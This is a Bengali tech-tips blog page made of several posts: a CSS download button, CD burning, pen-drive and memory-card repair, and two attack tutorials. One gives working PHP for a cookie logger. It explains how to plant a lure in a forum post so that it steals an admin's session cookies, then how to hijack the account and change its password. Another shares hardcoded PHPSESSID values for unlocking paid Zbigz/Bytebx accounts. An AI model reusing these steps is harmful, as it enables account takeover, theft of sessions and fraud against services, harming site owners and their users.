Sunday, March 1, 2015

আপনি ব্লগে ডাউনলোড করার জন্য কোন ফাইল দিয়েছেন, সাথে সাদামাটা স্টাইলের ডাউনলোড লিঙ্ক। ভিসিটর কি সেই লিঙ্কটা সহজে খুজে পাবে? তাই আজকে  আপনাদের জন্য নিয়ে এলাম একটা সুন্দর সিএসএস ডাউনলোড বাটন। এটা আপনার ব্লগে দেয়ার জন্য Edit Html এ গিয়ে </body> লিখে সার্চ করুন ও </body> ঠিক উপরে নিচের কোডটি লাগিয়ে নিন।
ডেমো দেখতে এখানে ক্লিক করুন
 <style>
.abt-button {
    margin: 50px auto;
    width: 200px;
}
 /* Get this button at TipsWorldBlog.BlogSpot.Com */
.abt-button a {
    background: -moz-linear-gradient(center top , #00B7EA 0%, #009EC3 100%) repeat scroll 0 0 transparent;
    color: white;
    display: block;
    font: 17px/50px Helvetica,Verdana,sans-serif;
    height: 50px;
    text-align: center;
    text-decoration: none;
    text-transform: uppercase;
    width: 200px;
    position: relative;
    z-index: 2;
  /*TYPE*/
  color: white;
  font: 17px/50px Helvetica, Verdana, sans-serif;
  text-decoration: none;
  text-align: center;
  text-transform: uppercase;
  /*GRADIENT*/
  background: #00b7ea; /* Old browsers */
  background: -moz-linear-gradient(top, #00b7ea 0%, #009ec3 100%); /* FF3.6+ */
  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
  background: -webkit-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
  background: -o-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Opera 11.10+ */
  background: -ms-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* IE10+ */
  background: linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* W3C */
  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button a, .abt-button p {
    -webkit-border-radius: 10px;
     -moz-border-radius: 10px;
          border-radius: 10px;
  -webkit-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
     -moz-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
          box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
}
.abt-button p {
    background: #222222;
    color: #FFFFFF;
    display: block;
    font: 12px/45px Helvetica,Verdana,sans-serif;
    height: 40px;
    margin: -40px 0 0 10px;
    position: absolute;
    text-align: center;
    transition: margin 0.5s ease 0s;
    width: 180px;
    z-index: 1;
  /*TRANSITION*/
  -webkit-transition: margin 0.5s ease;
     -moz-transition: margin 0.5s ease;
       -o-transition: margin 0.5s ease;
      -ms-transition: margin 0.5s ease;
          transition: margin 0.5s ease;
}
.abt-button:hover .up {
    margin: -5px 0 0 10px !important;
}
.abt-button:hover .down {
    line-height: 35px !important;
    margin: -85px 0 0 10px !important;
}
.abt-button a:active {
background: #00b7ea; /* Old browsers */
background: -moz-linear-gradient(top,  #00b7ea 36%, #009ec3 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(36%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* IE10+ */
background: linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button:active .up {
    margin: -20px 0 0 10px !important;
}
.abt-button:active .down {
    margin: -70px 0 0 10px !important;
}
</style>
পোস্টে ডাউনলোড বাটনটি জুড়তে Compose থেকে HTML এ ক্লিক করুন ও নিচের কোডটুক পোস্টে দিন।
<div>
<a href="tipsworldblog.blogspot.com">Download</a>
<p>Click to Start</p>
<p>1.2MB .zip</p>
</div>
এখানে tipsworldblog.blogspot.com এর জায়গায় আপনার ডাউনলোড লিঙ্ক ও 1.2MB .zip এর জায়গায় ফাইলের সাইজ ও এক্সটেনশন দিন।
wireshark1.jpg
কুকি হাইজাকিং এমন একটা হ্যাকিং মেথোড যেটার দ্বারা অনেক গুরুত্বপুর্ন ও বড় বড় কিছু হ্যাক করা যায় । এর মাধ্যমে অন্যের পাসওয়ার্ড পেয়ে তুমি হ্যাকিং শুরু করে দিলে ।
ধরো ভিকটিম ফেসবুক, গুগল সহ অনেক যায়গায় ব্রাউজিং করে এবং ওইসব তথ্য তার ব্রাউজারে সেভ থাকে । তুমি যদি কারো কুকি পাও তাহলে তার অনলাইনের সব কিছুই হ্যাক করতে পারবে ।

How-to-hack-Facebook.jpg
কুকিলগার কি?
কুকি লগার এমন একটা জিনিস যেটা একটা সাধারন PHP স্কিপ্ট দ্বারা তৈরি করা হয় ।
এটার দ্বারা যে কারো তথ্য চুরি করে একটা লগ ফাইলে সেভ করে রাখা যায় ।
আজ আমি আপনাদের দেখাবো কি করে নিজের একটা কুকি লগার তৈরি করতে হয় । আশা রাখি আপনারা অনেক ভালো করে উপভোগ করবেন ।
Step 1: নিচের লিন্ক থেকে ফাইলটা ডাউনলোড করুন এবং এটাকে রিনেম করে Tipstune.gif: নাম দিন ।
Download it.

http://www.crocko.com/1702516956.html
Step 2: এখন নিচের কোডটা কপি করে Notepad এ পেস্ট করুন এবং এটাকে সেভ করুন cookielogger.php: নামে ।
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” .$_GET["cookie"]) === FALSE)
{
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary ServerError,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
?>

Step 3: আবারো নতুন করে Notepad ওপেন করে কিছু না লিখে ওটাকে logfile.txt নামে সেভ করুন ।
Step 4: এবার ফাইলগুলা আপনার যে কোন একটা হোস্টিং এ আপলোড দেন । সবথেকে ভালো হয় যদি পেইড হোস্টিং থাকে ।
ফাইলগুলার লিন্ক দেখতে নিচের মত হবে ।
* cookielogger.php ->
http://www.yoursite.com /cookielogger.php
*logfile.txt ->
http://www.yoursite.com /logfile.txt
*Tipstune.gif ->
http://www.yoursite.com /fun.gif
Step 5: এবার ধরুন আপনি একটি ফোরাম সাইটের এডমিনের কুকি হাইজাকিং করবেন । তাহলেঃ তার ফোরাম সাইটে গিয়ে নিচের কোডটা কপি পেস্ট করে একটা পোস্ট করুন ।
Download it.

http://www.crocko.com/1702516964.html
Step 6: এবায় যখন ওই এডমিন উক্ত পোস্টা দেখবে তখন সে তোমার ওই ইমেজটা দেখবে । এবং কৈতুহল বশত ওটাতে ক্লিক করবে । সে যখনই ক্লিক করবে তখনই একটা Eror ম্যাসেজ দেখাবে । ব্যাস তার অজান্তেই কুকি গুলা হাইজাক হয়ে গেলো । কুকি গুলা log.txt ফাইলে পাবে ।
কুকি দেখতে নিচের মত হবে ।
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D;phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9
Step 7: ভিকটিমের এক্যাউন্ট হ্যাক করে অনুমতি পাবার জন্য একটা ছোট্ট কাজ করতে হবে । আর সেটা হলোঃ তোমার কুকির সাথে ভিকটিমের কুকি Replace করতে হবে ।
এই কাজের জন্য Cookie Editor টুলসটা ব্যাবহার করতে পারো ।
“=” চিহ্ন এর আগের টুকু কুকির নাম । এবং “=” এই চিহ্ন এর পরেরটুকু কুকির ভ্যালু ।


সুতরাং Cookie Editor এ কুকির ভ্যালুটা চেন্জ করতে হবে ।
Step 8: এখন সেই ফোরাম সাইটে যাও । যেটা তুমি হ্যাক করতে চেয়েছিলে । দেখবে তুমি লগইন অবস্থায় আছো । এখন আস্তে করে পাসওয়ার্ডটা চেন্জ করে ফেলো আর সাইটকে একটা ছোট্ট বাঁশ দিয়ে চলে এসো ।

Session_Hijacking_3.JPG
Note : তবে ভিকটিম যদি সাইটে লগআউট করে দেয় তাহলে তোমারও লগআউট হয়ে যাবে । তবে তুমি যদি একবার পাসওয়ার্ড চেন্জ করে ফেলতে পারো তাহলে আর বারবার কষ্ট করা লাগবে না ।
Disclaimer: এই হ্যাকিং এর জন্য 0ld D3vil, Md sagor, tipstune, H@ck1ng Sch00l আমরা কেওই দায়ি থাকবো না । কারন এটা আপনি নিজ দায়িত্বে ব্যাবহার করবেন ।
১।Zbigz/Bytebx কি?
টরেন্ট নাম শুনেছেন তো!না শুনলে কেটে পড়ুন!
টরেন্ট ফাইলগুলো ডাউনলোড করতে আলাদা ম্যানেজার লাগে!সেই ম্যানেজারে কোন কিছু ডাউনলোড করতে হলে ডাউনলোডের পাশাপাশি আপলোডও দিতে হয়!যার কারনে ডাউনলোড স্পিড কমে যায় যা খুবই বিরক্তিকর!কিন্তু নতুন মুভি,ফুল সফট সবার আগে টরেন্টেই আপলোড হয়।তাছাড়া অনেক জিনিষই আপনি টরেন্টে পাবেন কিন্তু নরমালি পাবেন না!যেমনঃ ড্রাইবার প্যাক নামের একটা সফটওয়্যার আছে যার সাইজ ৯.৬৭ জিবি এবং এটা অফিশিয়ালি টরেন্টে দেওয়া!এখন আপনি কোনো মানবতাবাদীকে পাবেন না যে এত বড় ফাইল আপনাকে নরমাল সার্ভারে আপলোড করে দিবে!Zbigz/Bytebx এমনই দুইটা সার্ভিস যা টরেন্টকে ডিরেক্ট ফাইলে পরিণত করতে পারে!এতে করে আপনি টরেন্টটিকে আপনার প্রভাইডারের দেয়া ডেডিকেটেড স্পিডে ডাউনলোড করতে পারবেন!
২।Zbigz/Bytebx প্রিমিয়াম আর ফ্রী সার্ভিসের মধ্যে পার্থক্য?
Zbigz.com সাইটে ফ্রীতে মাত্র এক জিবি সাইজের ফাইলকে টরেন্ট টু ডিরেক্ট করতে পারবেন!Bytebx.com এ ও ১ জিবি লিমিট সাথে রেজিস্ট্রেশন ঝামেলা!এর সাথে প্রতি একাউন্টে ও লিমিট এবং স্পিড লিমিট থাকে!
আর প্রিমিয়াম সার্ভিসের স্পীড বা ডাউনলোড কোনো লিমিট নেই!
আর এজন্যই আপনাদের জন্য নিয়ে এলাম Zbigz/Bytebx এর প্রিমিয়াম একাউন্ট!
কিছুদিন আগে রিয়াজ ভাই এরকম দুই-তিনটা সার্ভারের প্রিমিয়াম একাউন্ট পাসওয়ার্ডসহ শেয়ার করেছিলেন!কিছু আবাল বার বার পাসওয়ার্ড চেঞ্জ করতে থাকে!আমি যে সিস্টেমে দিচ্ছি সেটাতে পাসওয়ার্ড চেঞ্জ হয়ার কোন উপায় নেই!তাই প্রথে Zbigz দিয়েই শুরু করিঃ
৩।যা যা লাগবেঃ
*গুগল ক্রোম ব্রাউজার
*ক্রোম ব্রাউজারে একটি এড অন।নামঃ Edit This Cookie
এড অন লিঙ্কঃ https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg
#গুগল ক্রোম থেকে উপরোক্ত লিঙ্কে গিয়ে Add to Chrome বাটনে ক্লিক করে Pop Up মেসেজ আসবে Allow তে ক্লিক করে এড অন টি ইন্সটল করুন।
Zbigz এর জন্যঃ
১।Zbigz.com এ যান।
২।ব্রাউজারের টপ বারে বিস্কিটের মতো Edit This Cookie এড অনটির আইকন থাকবে-ক্লিক করুন!
৩।একটা পপ আপ উইন্ডো আসবে সেখানে PHPSESSID নামের একটা অপ্সহন দেখতে পাবেন সেখানে ক্লিক করুন!মেনুটি মেক্সিমাইজ হবে!
৪।Value অপশনে একটি বক্স পাবেন।বক্সে আগে থেকেই হিজিবিজি লেখা থাকে।সব লেখাগুলো মুছে ফেলুন!
৫।ঐ বক্সে directtech9734577237VIP লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৬।আবার ঐ অপশনে যান দেখেন লেখা directtech9734577237VIP আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৭।এখন Zbigz রিলোড দিন দেখবেন Premium is On!
Bytebx এর জন্যঃ
১।bytebx.com/login সাইটে যান!
২।zbigz এর জন্য দেয়া ২,৩,৪ স্টেপগুলো ধারাবাহিকভাবে ফলো করুন!
৩।ঐ বক্সে directtech89992722 লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৪।আবার ঐ অপশনে যান দেখেন লেখা directtech89992722 আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৫।পেইজ রিলোড দেন দেখবেন প্রিমিয়াম হয়ে গেছে!

নোটঃ
*এ অনেক সময় নাও আসতে পারে কিংবা Too much login at a time দেখাতে পারে।চিন্তা করবেন না আবার রিলোড দিন ঠিক হয়ে যাবে! 
তারপরও যদি না হয় তাহলে আবার নতুন করে এই সিস্টেমটি ফলো করুন
Zbigz এ কিছু বাগ রয়েছে তাই আমার পরামর্শ Bytebx ব্যাবহার করন।বাগ ফিক্স হলে পোস্টটি আপডেট দিবো।তবে অনেকেরই Zbigz চলছে!!!

Zbigz বাগ ফিক্সডঃ প্রসেস ঠিকমত ফলো করে না হলে পিসি রিস্টার্ট দিয়ে ক্রোম ওপেন করুন!অটোমেটিকেলি হয়ে যাবে!! :)
প্রমাণঃ

এই পোস্টটি কষ্ট করে পড়ার জন্য ধন্যবাদ!! 8-) :lol:

আমার টিউনটি একদম নুতুনদের জন্য । এক্সপার্টদের জন্য নয় । এক্সপার্টদের সকলের মনে হয় জানা আছে । এবার কাজের কথায় আসি । আমরা অনেক সময় আমাদের দরকারি ফাইল গুলু ব্লাঙ্ক সিডিতে রাইট করে রাখি । একটি ব্লাঙ্ক সিডিতে প্রায় ৭০০ মেগাবাইট পয‍‍‍‌‌ন্ত রাইট করা যায় । কিন্তু অনেক সময় কম মেগাবাইট এর ফাইল সিডিতে রাইট করার প্রয়োজন হয় । তখন আমরা তা সিডিতে রাইট করি । কিন্তু আমরা অনেকেই জানিনা যে এক সিডিতে একবার রাইট করে ফেললে পরে আবার একাধিক বার রাইট করা যায় । আসুন প্রক্রিয়াটি দেখি ।

My Computer ওপেন করুন ।

সাধারণত সিডি/ডিভিডি রমটা এই রকম থাকে ।

ব্লাঙ্ক সিডি টা সিডি/ডিভিডি রম এ ঢুকালে উপরের ছবির মতো আসবে । তাহলে বুজবেন যে সিডিটা রম এ পেয়েছে ।


আপনি ইচ্ছা করলে ব্লাঙ্ক সিডিটার ধারন ক্ষমতা, কতটুকু খালি আছে তা উপরের ছবির নিয়ম অনুসারে দেখতে পারবেন ।

ব্লাঙ্ক সিডিতে যা রাইট করতে চান তা কপি করুন ।

তারপর My Computer ওপেন করে সিডি/ডিভিডি রম এ পেস্ট করুন ।

পেস্ট হয়ে গেলে Write these files to CD তে ক্লিক করুন ।

তারপর CD Name: এর ঘরে নিজের ইচ্ছামত নাম লিখে Next এ ক্লিক করুন ।

তারপর রাইট হতে থাকবে । কিছুক্ষন অপেক্ষা করতে হবে ।

কিছুক্ষন পরে উপরের ছবির মতো চার্ট আসলে Finish এ ক্লিক করতে হবে । Finish এ ক্লিক করার পরে সিডি/ডিভিডি রম থেকে সিডিটা নিজে নিজেই বের হয়ে যাবে ।
বাস কাজ শেষ । এই এক নিয়মেই আপনি এক সিডি তে বার বার রাইট করতে পারবেন । এক নিয়মেই আপনি Computer এ সফটওয়্যার ছাড়া সিডি রাইট করতে পারবেন ।
সবাইকে অসংখ ধন্যাবাদ ।।।। ভালো থাকবেন ।।।।
http://s30.postimg.org/u0c8mkiwx/pendrive_emtec_4gb_angry_birds_w3433_1.jpg
সুপ্রিয় ব্লগারগণ, পেনড্রাইভ আমাদের সবার কাছে কম বেশী নিত্য প্রয়োজনীয় বস্তু। এ কথা বলাই বাহুল্য যে এর কার্যবিধি সম্পর্কে জানে না এমন মানুষ পাওয়াটা দুষ্কর। যাই হোক মূল প্রসঙ্গে আসা যাক।
অনেক সময় দেখা যায় যে, আমাদের ব্যবহৃত পেনড্রাইভ কোন না কারণের জন্য সমস্যা তৈরি করে। যার ফলে অনেক সময় ভোগান্তিতে পরতে হয়। এর ফলে দেখা যায় যে পিসিতে পেনড্রাইভ প্রবেশের পর আপনার পেনড্রাইভে গুরুত্বপূর্ণ ফাইল থাকা সত্ত্বেও পেনড্রাইভ ফরমেট দিতে হচ্ছে। যাক পেনড্রাইভ ফরমেট দিতে গিয়ে দেখেন যে পেনড্রাইভ আর ফরমেট হয় না। অর্থাৎ আপনার পেনড্রাইভটি RAW ফাইল সিস্টেমে পরিণত হয়ে গিয়েছে। যার ফলে পিসিতে প্রবেশ করলে ফরমেট বার্তা তো শো করে কিন্তু ফরমেট দিতে গেলে সেটি ফরমেট হয় না। এমতাবস্থায় কি করণীয় তাই আলোচনা করছি।
যখন আপনার পেনড্রাইভটি পিসিতে প্রবেশ করাবেন তখন দেখবেন যে পেনড্রাইভটিকে যতবারই ফরমেট দেয়ার চেষ্টা করছেন না কেন পেনড্রাইভ কিছুতেই ফরমেট হচ্ছে না। ফলে এই বার্তাটি দেখতে পাবেন।
http://s2.postimg.org/3kb0ji5t5/image.jpg
এখন আপনি যদি Computer>Manage>Disk Management এ গিয়ে পেনড্রাইভ ফরমেট দিতে চান তাহলে আবার এই বার্তা দেখাবে।
http://s21.postimg.org/9rdgvhorb/image.jpg
http://s21.postimg.org/mwsz1limv/image.jpg

এখন এই সমস্যা সমাধানের জন্য আপনাদের একটি ডিস্ক পার্টিশন সফটওয়্যার ডাউনলোড করতে হবে। মাত্র 8.16 MB।
সফটওয়্যারটির নামঃ AOMEI Partition Assistant Standard Edition [Free Edition]
ডাউনলোড লিংকঃ AOMEI Partition Assistant
এখন সফটওয়্যারটি ডাউনলোড করে ইন্সটল করুন এবং ওপেন করুন। ওপেন করার পর দেখবেন আপনার প্রবেশকৃত পেনড্রাইভ ওখানে প্রদর্শন করছে। এরপর আপনার পেনড্রাইভ উপর মাউসের রাইট বাটন ক্লিক কনটেক্স মেন্যুটি আনুন। কনটেক্স মেন্যুটি থেকে Delete Partition অপশনটি সিলেক্ট করুন।
http://s28.postimg.org/uwzyxti31/image.jpg

Delete Partition অপশনটি সিলেক্ট করার পর এই বক্স টি শো করবে। ঐখান থেকে Delete partition quickly (Recommended) টিকে সিলেক্ট করে OK ক্লিক করুন। এরপর বামদিকে উপরে কোণায় Apply তে ক্লিক করুন।
http://s1.postimg.org/5unw931j3/image.jpg

এরপর আরেকটি বক্স শো করবে। ঐখান থেকে Proceed এ ক্লিক করুন এবং অপর আরকেটি বক্স আসবে ওতে Yes দিয়ে দিন।
http://s4.postimg.org/anehe4wnx/image.jpg

পেনড্রাইভের পার্টিশন ডিলিট প্রসেসিং
http://s4.postimg.org/7ul9u3wbh/image.jpg

পার্টিশন ডিলেট হওয়ার একটি বক্স শো করবে ঐখানে OK তে ক্লিক করুন। পেনড্রাইভের পার্টিশন ডিলেট হওয়ার পর ফাইল সিস্টেম Unallocated শো করবে। এরপর আপনার পেনড্রাইভ উপর মাউসের রাইট বাটন ক্লিক কনটেক্স মেন্যুটি আনুন। কনটেক্স মেন্যুটি থেকে Create Partition টি সিলেক্ট করুন।
http://s9.postimg.org/3qy5nrn6n/image.jpg

Create Partition টি সিলেক্ট করার পর একটি বক্স শো করবে। ঐখানে থেকে শুধু OK তে ক্লিক করুন। অতঃপর বামদিকে উপরে কোণায় Apply তে ক্লিক করুন। এরপর আরেকটি বক্স শো করবে। ঐখান থেকে Proceed এ ক্লিক করুন এবং অপর আরকেটি বক্স আসবে ওতে Yes দিয়ে দিন।
http://s1.postimg.org/n9hrs7udb/image.jpg

পেনড্রাইভের পার্টিশন ক্রিয়েট প্রসেসিং
http://s9.postimg.org/5yuf5ihpb/image.jpg

পার্টিশন করা শেষ হলে সফল ভাবে সম্পন্ন হয়েছে এরূপ একটি বক্স শো করবে ঐখানে OK ক্লিক করুন।
http://s27.postimg.org/bt0rsric3/image.jpg

অতঃপর Computer প্রবেশ করে Devices With Removable Storage এ দেখুন আপনার পেনড্রাইভ শো করছে।
http://s27.postimg.org/pb7o51uhf/image.jpg

এই দেখুন এই কাজ করার পর এখন আপনি সরাসরি আপনার পেনড্রাইভকে ফরমেট দিতে পারবেন।
http://s24.postimg.org/r8s3mvis5/image.jpg
এখন থেকে যদি পেনড্রাইভ RAW ফাইল সিস্টেমে পরিণত হয় তবে এই ভাবে এর সমাধান করতে পারবেন।
তথ্য আদান প্রদান করার সময় ফোনের মেমোরি কার্ড হঠাৎ.খুলে নেওয়া হলে বা কোনো ভাবে সংযোগ বিছিন্ন হলে সেটি ক্ষতিগ্রস্ত হয়ে অকেজো হতে পারে। নানাভাবে এমন অকেজো মেমোরি কার্ড সচল করা গেলেও সম্পূর্ণভাবে ক্ষতিগ্রস্ত এবং বাহ্যিকভাবে নষ্ট প্রায় কার্ডকে ঠিক করতে ডেটা রিকভারি সফটওয়্যার ব্যবহার করতে হবে। মেমোরি কার্ডের তথ্য দেখা যাচ্ছে, কিন্তু সেটি ব্যবহার করা না গেলে আপনাকে এই সফটওয়্যার সমাধান দিতে পারে। এ ক্ষেত্রে ডেটা উপস্থিত থাকে কিন্তু কম্পিউটার বা অন্য যন্ত্র সেটিকে পড়তে (রিড) পারে না।
এক্ষেত্রে সবাই ভাবে যে মেমোরি কার্ডটি বোধহয় নষ্ট হয়ে গেছে। কিন্তু না, এমন অবস্থা থেকে আমরা মেমোরি কার্ডটাকে ফিরিয়ে আনতে পারি।
এ জন্য কার্ড রিডারে মেমোরি কার্ড ঢুকিয়ে নিয়ে কম্পিউটারে সংযোগ দিন। খেয়াল রাখুন, মেমোরি কার্ড ফাইল এক্সপ্লোরারে বা হার্ড ড্রাইভের অন্যান্য ডিস্কের মতো দেখালে এটিতে প্রবেশ করা যাবে না, কিন্তু ফাইল সিস্টেম ঠিক আছে। এবার য়াপনার উইন্ডোজ এর স্টার্ট মেন্যুতে গিয়ে cmd লিখুন। এতে আপনার স্টার্ট মেন্যুর উপর দিকে কমান্ড প্রম্পট(cmd) দেখা যাবে। এখন এর ওপর ডান বোতাম চেপে Run as administrator নির্বাচন করে সেটি খুলুন। কমান্ড
প্রম্পট চালু হলে এখানে chkdsk mr লিখে enter ক্লিক করুন। এখানে m হচ্ছে মেমোরি কার্ডের ড্রাইভ ।
কম্পিউটারে কার্ডের ড্রাইভ লেটার যে টি দেখাবে সেটি এখানে লিখে চেক ডিস্কের কাজটি সম্পন্ন হতে দিন।
এখানে convert lost chains to files বার্তা এলে y চাপুন। এ ক্ষেত্রে ফাইল কাঠামো ঠিক থাকলে কার্ডের তথ্য আবার ব্যবহার করা যাবে। মেমোরি কার্ড যদি invalid file system দেখায় তাহলে সেটির ড্রাইভের ডান ক্লিক করে Format-এ ক্লিক করুন। File system থেকে FAT নির্বাচন করে Quick format-এর টিক চিহ্ন তুলে দিয়ে Format-এ ক্লিক করুন। ফরম্যাট সম্পন্ন হলে মেমোরি কার্ডের তথ্য হারালেও কার্ড নষ্ট হবে না।